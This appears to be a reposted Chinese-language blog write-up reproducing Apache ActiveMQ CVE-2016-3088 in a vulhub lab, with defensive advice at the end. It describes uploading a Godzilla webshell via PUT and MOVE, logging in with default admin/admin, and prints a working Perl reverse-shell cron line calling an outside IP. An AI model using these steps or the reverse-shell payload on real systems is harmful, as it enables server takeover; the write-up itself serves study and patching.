Apache ActiveMQ 任意文件寫入漏洞(CVE-2016-3088)復現利用

漏洞原理

Apache ActiveMQ是Apache軟件基金會所研發的開放源代碼消息中間件,由于ActiveMQ是一個純Java程序,因此只需要操作系統支持Java虛擬機,ActiveMQ便可執行

本漏洞出現在fileserver應用中,漏洞原理其實非常簡單,就是fileserver支持寫入文件(但不解析jsp)(PUT請求),同時支持移動文件(MOVE請求),所以我們只需要寫入一個文件,然后使用MOVE請求將其移動到任意位置,造成任意文件寫入漏洞

ActiveMQ的web控制臺分為三個應用

需要登錄后使用:

  • admin,管理員頁面
  • api,接口

無需登錄即可使用

  • fileserver,儲存文件的接口

fileserver是一個 RESTful API 接口,我們可以通過GET、PUT、DELETE等HTTP請求對其中存儲的文件進行讀寫操作,其設計目的是為了彌補消息隊列操作不能傳輸、存儲二進制文件的缺陷,但后來發現:

  • 其使用率并不高
  • 文件操作容易出現漏洞

所以,ActiveMQ進行了以下改動

  • 在5.12.x~5.13.x版本中,已經默認關閉了fileserver這個應用(可以在conf/jetty.xml中開啟之)
  • 在5.14.0版本以后,徹底刪除了fileserver應用

在測試過程中,可以關注ActiveMQ的版本,避免走彎路

影響版本

Apache ActiveMQ:version < 5.14.0

漏洞復現

一、環境搭建

vulhub已有環境,可以通過vulhub進行復現

  1. git clone https://github.com/vulhub/vulhub.git
  2. 進入到漏洞目錄下cd /path/to/vulhub/activemq/CVE-2016-3088
  3. 執行命令啟動復現環境
docker compose build
docker compose up -d

環境監聽61616端口和8161端口,其中8161為web控制臺端口,本漏洞就出現在web控制臺中

訪問http://your-ip:8161/看到web頁面,說明環境已成功運行

二、漏洞復現

利用方式一:寫入webshell
(一) 弱口令登陸

點擊Manage ActiveMQ broker,輸入默認的弱口令admin/admin登錄

訪問/admin/test/systemProperties.jsp下可以看到測試環境和web框架的頁面,能看到很多信息

(二) 上傳webshell

抓包進行修改,PUT方法進行任意文件上傳,這里我們上傳一個哥斯拉的Shell到fileserver路徑下

返回狀態碼204,成功上傳

訪問上傳文件查看是否上傳成功

(三) MOVE到可執行路徑下

由于上傳的是文本文件并不能被服務器解析,所以我們下一步要利用MOVE方法將上傳的webshell移動到可以執行的目錄

可以解析jsp文件的路徑有:

  • /opt/activemq/webapps/api
  • /opt/activemq/webapps/admin

這里我們把它上傳到/opt/activemq/webapps/admin路徑下

哥斯拉嘗試連Shell,注意需要加上Authorization標頭

成功連上Shell

利用方式二:利用cron反彈shell

權限要求:運行ActiveMQ的用戶需具備root權限(否則無法寫入/etc/cron.d/

(一) 上傳cron配置文件

返回204,說明寫入成功

*/1 * * * * root perl -e 'use Socket;$i="172.21.39.102";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh");}'

這里反彈shell使用perl,用bash有點問題

注意一定要換行,而換行一定要\n(LF),不能是\r\n(CRLF),否則crontab執行會失敗

(二) MOVE到/etc/cron.d目錄下

返回204,說明移動成功,接下來就是等待反彈shell

519415381f3d為docker容器的主機名,成功連上shell

漏洞原理深入分析

具體代碼分析可以看這篇,本文主要參考的也是這篇文章

Vulhub漏洞系列:ActiveMQ任意文件寫入漏洞分析-騰訊云開發者社區-騰訊云

利用姿勢

  • 寫入webshell
    • 優點:門檻低更方便
    • 缺點:fileserver不解析jsp,admin和api兩個應用都需要登錄才能訪問
  • 寫入cron或ssh key等文件
    • 優點:直接反彈拿shell,比較方便
    • 缺點:需要root權限
  • 寫入jar或jetty.xml等庫和配置文件
    • 需要知道activemq的絕對路徑

本文僅演示了寫入webshell和利用cron反彈shell,其他利用方式可以自己嘗試

理論上我們可以覆蓋jetty.xml,將admin和api的登錄限制去掉,然后再寫入webshell

有的情況下,jetty.xml和jar的所有人是web容器的用戶,所以相比起來,寫入crontab成功率更高一點

防御措施

  • 升級:使用ActiveMQ ≥5.14.0(徹底移除fileserver)
  • 禁用fileserver:在conf/jetty.xml中注釋或刪除fileserver配置(適用于5.12.x~5.13.x)
  • 降權運行:禁止以root用戶運行ActiveMQ,限制寫入敏感目錄的能力

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/89527.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/89527.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/89527.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

谷歌地球與ArcGIS Pro查看三維地形

&#xff08;1&#xff09;Google Earth Web端 通過網站&#xff1a;https://earth.google.com/&#xff0c;進入谷歌地球Web端&#xff0c;可以查看歷史影像、三維地形數據、導入kml文件等。 &#xff08;2&#xff09;ArcGIS Pro查看三維場景 加載3D地形數據&#xff0c;轉…

Day06_C語言網絡編程20250718

01.思維導圖1 什么是 modbus他是一個在工控領域非常好用的通信寫 modbus協議本質上是一個 基于 tcp 協議二次封裝的一個協議 什么叫做基于tcp二次封裝的協議&#xff1a;我們自己寫的pack_t(無論靜態還是動態)&#xff0c;都是屬于二次封裝的協議modbus協議是一種 “主從問答式…

web開發-HTML

web開發——HTML 學習目標&#xff1a;學習HTML的基礎&#xff0c;學會get和post方法區別 一、HTMLHTML是什么&#xff1f; 前端網頁界面開發語言。開發工具 PyCharm、vscodePyCharm個性化設置&#xff08;字體和背景顏色&#xff09; File - setting - appearance - theme&…

主流編程語言全景圖:從Python到Rust的深度解析

2024年編程語言生態報告顯示&#xff0c;全球開發者使用的語言數量已達260&#xff0c;但真正主導行業的不到20種。本文帶你穿透技術迷霧&#xff0c;掌握8大核心語言的本質差異。一、選擇編程語言的黃金標準圖表代碼二、八大主流語言對比解析1. Python - 通用膠水語言特性&…

若依框架下前后端分離項目交互流程詳解

在企業級前后端分離項目開發中&#xff08;如若依RuoYi&#xff09;&#xff0c;前端與后端的數據交互、安全認證、權限校驗、響應處理都是必須關注的重點。本文將以“課程管理列表查詢”為例&#xff0c;詳細梳理整個交互流程&#xff0c;每一步均有解析說明和典型代碼&#x…

cartorgapher的編譯與運行

目錄 cartorgapher的編譯環境 cartorgapher的編譯 cartographer的運行 參數的詳解與調參總結 降低延遲與減小計算量 cartorgapher的編譯環境 系統環境 推薦在ubuntu16.04或者18.04上進行編譯 推薦使用剛裝好的ubuntu系統 將ubuntu的軟件源設置成清華的或者其他的中國境內的…

淺談車載電控和機器人一體化關節電控區別和聯系

類別車載電機關節電機&#xff08;伺服電機)電機PMSM 有軸 永磁體內嵌IPMPMSM&BLDC 永磁體表貼 SPM&#xff0c;轉速不高&#xff0c;減少體積 關節和推桿用無框力矩電機&#xff1a;只有定子和轉子&#xff0c;無軸&#xff0c;無外殼和端蓋&#xff0c;便于和編碼器減速器…

【數據結構】堆(下)+ 二叉樹

上期回顧&#xff1a;【數據結構】樹&#xff08;堆&#xff09;上 一.堆的應用 1.1堆排序&#xff08;向下調整在上一期&#xff09; 向上調整算法建堆&#xff1a; 首先先回顧一下向上調整算法 void AdjustUP(HPDataType* arr, int child) {int parent (child - 1) / 2…

Elasticsearch MCP 服務器現已在 AWS Marketplace 上提供

作者&#xff1a;來自 Elastic Udayasimha Theepireddy (Uday), Matt Ryan, Srinivas Pendyala 我們很高興地宣布&#xff0c;Elasticsearch Model Context Protocol&#xff08; MCP &#xff09;服務器現已在 AWS Marketplace 上提供。 使用 MCP 將代理連接到 Elasticsearch …

【Linux】Makefile(一)-介紹

Makefile 本篇博客是作者在學習Linux方面知識過程中&#xff0c;對Makefile片面的了解&#xff0c;從而產生了對Makefile有一個全面的認識的想法&#xff0c;在知道《跟我一起寫Makefile》此書后&#xff0c;作者學習閱讀過程中整理出的筆記。 目錄Makefilemakefile介紹:規則&…

Java爬蟲與正則表達式——用正則來爬取數據

APIJava幫我們寫好的各種功能的Java類。這些Java類統稱為API。正則表達式就是API幫我們寫好的類。正則表達式例子&#xff1a; 字符類&#xff1a;[abc]&#xff1a;只能是a&#xff0c;b或c[^abc]&#xff1a;除了a&#xff0c;b&#xff0c;c之外的任何字符[a-zA-Z]&#xff…

【后端】.NET Core API框架搭建(8) --配置使用RabbitMQ

目錄 1.添加包 2. 連接配置 2.1.連接字符串 2.2.連接對象 3.創建連接服務 3.1.添加配置獲取方法 3.2.服務實現類 3.3.服務接口 4.創建生產者服務 4.1.生產者實現類 4.2.生產者接口 5.創建消費者服務 5.1.消費者服務接口 5.2.消費者接口 6.注冊 7.簡單使用案例 7.1.實現…

Apache SeaTunnel配置使用案例

前置操作 Apache SeaTunnel詳解與部署&#xff08;最新版本2.3.11&#xff09;-CSDN博客 mkdir /usr/local/soft/apache-seatunnel-2.3.11/job/ 一、MySQL to HDFS 官方配置參考&#xff1a; MySQL | Apache SeaTunnel Hdfs文件 | Apache SeaTunnel 1、配置確認 將mysq…

GitCode 使用高頻問題及解決方案

GitCode 作為一款強大的版本控制系統&#xff0c;在軟件開發流程中起著舉足輕重的作用。然而&#xff0c;在使用過程中&#xff0c;開發者們常常會遇到各種各樣的問題。本文將匯總 GitCode 使用中的高頻問題&#xff0c;并提供詳細的解決方案&#xff0c;幫助開發者們更順暢地使…

在FreeBSD系統使用chroot進入Ubuntu仿真環境使用Localsend軟件發送和接受文件

LocalSend是一款非常實用的在不同系統&#xff08;Windows、MacOS、Linux、Android和IOS&#xff09;傳遞文件的程序。我們這次的實踐&#xff0c;就是要在FreeBSD下也能發送和接收文件。 安裝LocalSend 跟在Ubuntu下安裝非常類似&#xff0c;只是不需要下面的第一步&#xf…

交叉熵損失F.cross_entropy在分類模型中的應用

一、核心思想&#xff1a;通過概率分布懲罰錯誤交叉熵損失的本質是&#xff1a; 比較模型預測的概率分布 vs 真實標簽的概率分布&#xff0c;懲罰兩者之間的差異。例如&#xff1a;真實標簽&#xff1a;圖像 0 → 文本 0&#xff08;獨熱編碼 [1, 0, 0, ...]&#xff09;模型預…

測試學習之——Pytest Day3

引言Pytest 作為 Python 中最受歡迎的測試框架之一&#xff0c;以其簡潔的語法、強大的功能和豐富的插件生態系統&#xff0c;極大地提升了自動化測試的效率和可維護性。在本文中&#xff0c;我們將深入探討 Pytest 的兩大核心特性&#xff1a;Fixture 和插件管理&#xff0c;幫…

控制Vue對話框顯示隱藏

正確做法 — 使用 Vue 數據驅動控制顯隱你不需要手動設置 display: block&#xff0c;因為 Element Plus 的 <el-dialog> 是基于 v-model 或 :visible.sync 控制的。&#x1f527; 修改模板部分&#xff1a;將原來的&#xff1a;<el-dialog title"報文詳情"…

直播帶貨與開源AI智能名片鏈動2+1模式S2B2C商城小程序:重塑電商營銷新格局

摘要&#xff1a;本文聚焦于直播帶貨對互聯網供需關系的深刻影響&#xff0c;分析其如何改變傳統電商營銷模式&#xff0c;實現從“人找貨”到“貨找人”的轉變。同時&#xff0c;引入開源AI智能名片鏈動21模式S2B2C商城小程序這一創新概念&#xff0c;探討其在直播帶貨背景下的…

Jmeter 性能測試響應時間過長怎么辦?

當 JMeter 性能測試中出現 響應時間過長 的問題時&#xff0c;需要從 測試腳本、服務器、網絡、JMeter配置 等多方面排查和優化。以下是詳細的解決步驟和思路&#xff1a; B站最新性能進階&#xff0c;學會這些jmeter性能測試技能&#xff0c;更助于正確設計、執行和分析性能測…